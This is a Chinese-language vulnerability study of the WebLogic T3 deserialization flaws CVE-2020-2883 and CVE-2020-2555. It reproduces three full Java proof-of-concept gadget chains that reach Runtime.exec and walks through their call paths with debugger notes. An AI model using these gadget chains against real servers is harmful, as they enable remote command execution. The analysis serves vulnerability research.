WebLogic系列漏洞学习之T3:CVE-2020-2883和CVE-2020-2555

MagicZer0/Weblogic_CVE-2020-2883_POC给出的两个利用链分别如下

Gadget1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import com.tangosol.coherence.reporter.extractor.ConstantExtractor;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.util.concurrent.Callable;

/**
* java.util.PriorityQueue.readObject()
* java.util.PriorityQueue.heapify()
* java.util.PriorityQueue.siftDown()
* java.util.PriorityQueue.siftDownUsingComparator()
* com.tangosol.util.extractor.AbstractExtractor.compare()
* com.tangosol.util.extractor.MultiExtractor.extract()
* com.tangosol.util.extractor.ChainedExtractor.extract()
* //...
* Method.invoke()
* //...
* Runtime.exec()
*/

public class Gadget1 {

public static void main(String[] args) throws Exception {
String command = "calc";
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ConstantExtractor(Runtime.class),
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{command})
};

ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);

ExtractorComparator extractorComparator = new ExtractorComparator<Object>();
Field m_extractor = extractorComparator.getClass().getDeclaredField("m_extractor");
m_extractor.setAccessible(true);
m_extractor.set(extractorComparator, chainedExtractor);

PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add("foo");
priorityQueue.add("bar");

Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, extractorComparator);

// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(priorityQueue);
oos.flush();
oos.close();
// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}

Gadget2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import com.tangosol.coherence.reporter.extractor.ConstantExtractor;
import com.tangosol.internal.sleepycat.persist.evolve.Mutations;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.concurrent.Callable;
import java.util.concurrent.ConcurrentNavigableMap;
import java.util.concurrent.ConcurrentSkipListMap;

/**
* javax.management.BadAttributeValueExpException.readObject()
* com.tangosol.internal.sleepycat.persist.evolve.Mutations.toString()
* java.util.concurrent.ConcurrentSkipListMap$SubMap.size()
* java.util.concurrent.ConcurrentSkipListMap$SubMap.isBeforeEnd()
* java.util.concurrent.ConcurrentSkipListMap.cpr()
* com.tangosol.util.comparator.ExtractorComparator.compare()
* com.tangosol.util.extractor.ChainedExtractor.extract()
* com.tangosol.util.extractor.ReflectionExtractor().extract()
* Method.invoke()
* //...
* com.tangosol.util.extractor.ReflectionExtractor().extract()
* Method.invoke()
* Runtime.exec()
*/

public class Gadget2 {

public static void main(String[] args) throws Exception {
String command = "calc";
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ConstantExtractor(Runtime.class),
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{command})
};

ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);

ExtractorComparator extractorComparator = new ExtractorComparator<Object>();
Field m_extractor = extractorComparator.getClass().getDeclaredField("m_extractor");
m_extractor.setAccessible(true);
m_extractor.set(extractorComparator, chainedExtractor);

ConcurrentSkipListMap concurrentSkipListMap = new ConcurrentSkipListMap<String, String>();
Field comparator = concurrentSkipListMap.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(concurrentSkipListMap, extractorComparator);

ConcurrentNavigableMap subMap = concurrentSkipListMap.subMap("foo", false, "bar", false);

// crafted Mutations Object
Mutations mutations = new Mutations();
Field renamers = mutations.getClass().getDeclaredField("renamers");
renamers.setAccessible(true);
renamers.set(mutations, subMap);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, mutations);

// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(val);
oos.flush();
oos.close();
// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}

Gadget1分析

因为之前分析过CommonsCollections利用链,有了经验,所以分析起来也更简单一点。还跟之前一样,分三部分来分析。

第一部分:命令执行链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
      String command = "calc";
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ConstantExtractor(Runtime.class),
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{command})
};

ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);

ExtractorComparator extractorComparator = new ExtractorComparator<Object>();
Field m_extractor = extractorComparator.getClass().getDeclaredField("m_extractor");
m_extractor.setAccessible(true);
m_extractor.set(extractorComparator, chainedExtractor);

这部分都是跟ValueExtractor相关的,跟CommonsCollections类似,只不过之前CommonsCollections是利用的Transformer。先分析下ValueExtractor、ConstantExtractor、ReflectionExtractor、ChainedExtractor,除了用到了构造方法,Gagdet里面提到了extract(),所以我们每个类的extract()都分析下。

ValueExtractor继承关系

类名 方法及用途
ConstantExtractor ConstantExtractor(Object oValue):构造方法,主要将参数值赋给属性m_oConstant;
extract(Object oTarget):返回属性m_oConstant值
ReflectionExtractor ReflectionExtractor(String sMethod, Object[] aoParam):调用ReflectionExtractor(String sMethod, Object[] aoParam, int nTarget),参数值方法名、参数类型等赋值属性;
extract(T oTarget):调用method.invoke(oTarget, this.m_aoParam) 利用反射调用方法
ChainedExtractor ChainedExtractor(@JsonbProperty(“extractors”) ValueExtractor[] aExtractor):构造函数,赋值给属性ValueExtractor[] aExtractor;
extract(Object oTarget):依次调用oTarget = aExtractor[i].extract(oTarget),即依次调用每个ValueExtractor的extract,而且将上次调用的结果作为参数

通过了解以上类即涉及方法,我们第一部分也清楚了:通过ChainedExtractor.extract()可以依次调用oTarget = aExtractor[i].extract(oTarget),因为上次的结果是本次extract()的参数,从而形成了执行链:Runtime.getRuntime().exec(“calc”)。

继续往下,这里很清楚,就是将extractorComparator的m_extractor属性设置为chainedExtractor,相当于extractorComparator.m_extractor=chainedExtractor

1
2
3
4
ExtractorComparator extractorComparator = new ExtractorComparator<Object>();
Field m_extractor = extractorComparator.getClass().getDeclaredField("m_extractor");
m_extractor.setAccessible(true);
m_extractor.set(extractorComparator, chainedExtractor);

第二部分:

1
2
3
4
5
6
7
PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add("foo");
priorityQueue.add("bar");

Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, extractorComparator);

这部分很简单,将priorityQueue的comparator设置为extractorComparator。

第三部分:触发命令执行

ois.readObject()调用priorityQueue.readObject(),我们在这里ois.readObject()和priorityQueue.readObject()打上断点分析下:

image-20200805105654502

priorityQueue.readObject()调用heapify()

image-20200805111353750

跟进heapify(),调用siftDown(i, (E) queue[i])

image-20200805111542794

跟进siftDown(),会去调用siftDownUsingComparator(k, x)

image-20200805112401081

跟进siftDownUsingComparator(k, x),调用comparator.compare(x, (E) c),这里的comparator就是我们之前第二部分的extractorComparator,那么这里其实就是去调用ExtractorComparator.compare(“bar”,”foo”)

image-20200805113829218

ExtractorComparator.compare()调用chainedExtractor.extract()从而完成整个利用链。

image-20200805123552569

梳理下反序列化执行命令的整个过程就是:

ois.readObject()调用priorityQueue.readObject(),然后通过PriorityQueue.heapify()->siftDown()->siftDownUsingComparator()->ExtractorComparator.compare()->ChainedExtractor.extract(),ChainedExtractor.extract()调用命令执行链,从而完成命令执行。

Gadget2分析

第一部分跟Gadget1一样,这里不再赘述,直接开始分析下面代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// concurrentSkipListMap.comparator = extractorComparator
ConcurrentSkipListMap concurrentSkipListMap = new ConcurrentSkipListMap<String, String>();
Field comparator = concurrentSkipListMap.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(concurrentSkipListMap, extractorComparator);

ConcurrentNavigableMap subMap = concurrentSkipListMap.subMap("foo", false, "bar", false);

// mutations.renamers = subMap
Mutations mutations = new Mutations();
Field renamers = mutations.getClass().getDeclaredField("renamers");
renamers.setAccessible(true);
renamers.set(mutations, subMap);

// val.val = mutations
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, mutations);

调用ois.readObject(),BadAttributeValueExpException有readObject(),所以会调用val.readObject()

BadAttributeValueExpException.readObject()获取到BadAttributeValueExpException对象这里是val的val属性值,也就是mutations,然后去调用mutations.toString()

image-20200805141002717

Mutations.toString()调用了subMap.size()

image-20200805141550303

subMap.size()调用subMap.isBeforeEnd(n, cmp)

image-20200805142434559

继续看下subMap.isBeforeEnd(n, cmp),调用cpr()

image-20200805144053498

cpr()调用concurrentSkipListMap.comparator的compare()即extractorComparator.compare()

image-20200805144240793

然后后面跟Gadget1一样了通过extractorComparator.compare()调用chainedExtractor.extract()从而触发命令执行。

CVE-2020-2555 Gadget分析

CVE-2020-2883是绕过了CVE-2020-2555的补丁,这里也简单分析下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
gadget:
BadAttributeValueExpException.readObject()
com.tangosol.util.filter.LimitFilter.toString()
com.tangosol.util.extractor.ChainedExtractor.extract()
com.tangosol.util.extractor.ReflectionExtractor.extract()
Method.invoke()
...
Runtime.getRuntime.exec()import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

/*
* author:Y4er.com
*
* gadget:
* BadAttributeValueExpException.readObject()
* com.tangosol.util.filter.LimitFilter.toString()
* com.tangosol.util.extractor.ChainedExtractor.extract()
* com.tangosol.util.extractor.ReflectionExtractor.extract()
* Method.invoke()
* ...
* Runtime.getRuntime.exec()
*/

public class CVE_2020_2555 {

public static void main(String[] args) throws Exception {
// Runtime.class.getRuntime()
ReflectionExtractor extractor1 = new ReflectionExtractor(
"getMethod",
new Object[]{"getRuntime", new Class[0]}

);

// get invoke() to execute exec()
ReflectionExtractor extractor2 = new ReflectionExtractor(
"invoke",
new Object[]{null, new Object[0]}

);

// invoke("exec","calc")
ReflectionExtractor extractor3 = new ReflectionExtractor(
"exec",
new Object[]{new String[]{"calc"}}
);

ReflectionExtractor[] extractors = {
extractor1,
extractor2,
extractor3,
};

ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
LimitFilter limitFilter = new LimitFilter();

//m_comparator
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);

//m_oAnchorTop
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);

// BadAttributeValueExpException toString()
// This only works in JDK 8u76 and WITHOUT a security manager
// https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);

// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttributeValueExpException);
oos.flush();
oos.close();
// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();

}

同样,命令链不再赘述,还是分析不同的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// limitFilter.m_comparator=chainedExtractor
LimitFilter limitFilter = new LimitFilter();
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);

//limitFilter.m_oAnchorTop=Runtime.class
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);

// badAttributeValueExpException.val=limitFilter
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);

从反序列化入口开始分析:

BadAttributeValueExpException.readObject()->limitFilter.toString()

image-20200805155956061

limitFilter.toString()调用extractor.extract(this.m_oAnchorBottom),即extractor.extract(Runtime.class),从而调用ChainedExtractor.extract(Runtime.class),所以这里可以看出一开始没有构造Runtime.class,是需要这里传入image-20200805160242650

由于CVE-2020-2555在com.tangosol.util.filter.LimitFilter.toString()这里打了补丁,所以CVE-2020-2883是去绕过这个这个补丁或者寻找新的类来触发ChainedExtractor.extract(Runtime.class)

思考总结

如果我们想通过反序列化来自动触发命令执行,通过上面的分析可以获取一个思路:

  1. 首先找到命令执行链,这个链的形成往往需要以下条件:相关的类都继承了同一个父类;并且这些类的实现了接口的方法,这个方法可以执行我们传入的参数,类的获取是通过类名,方法的执行是通过反射机制,而且需要一个chain类来连接这些方法的执行
  2. 然后我们需要去找一个反序列化入口-某个类的readObject(),这个readObject()需要去调用某个方法然后通过直接或间接利用其它类的方法调用去执行chain类的方法

参考链接:

MagicZer0/Weblogic_CVE-2020-2883_POC

Y4er/CVE-2020-14645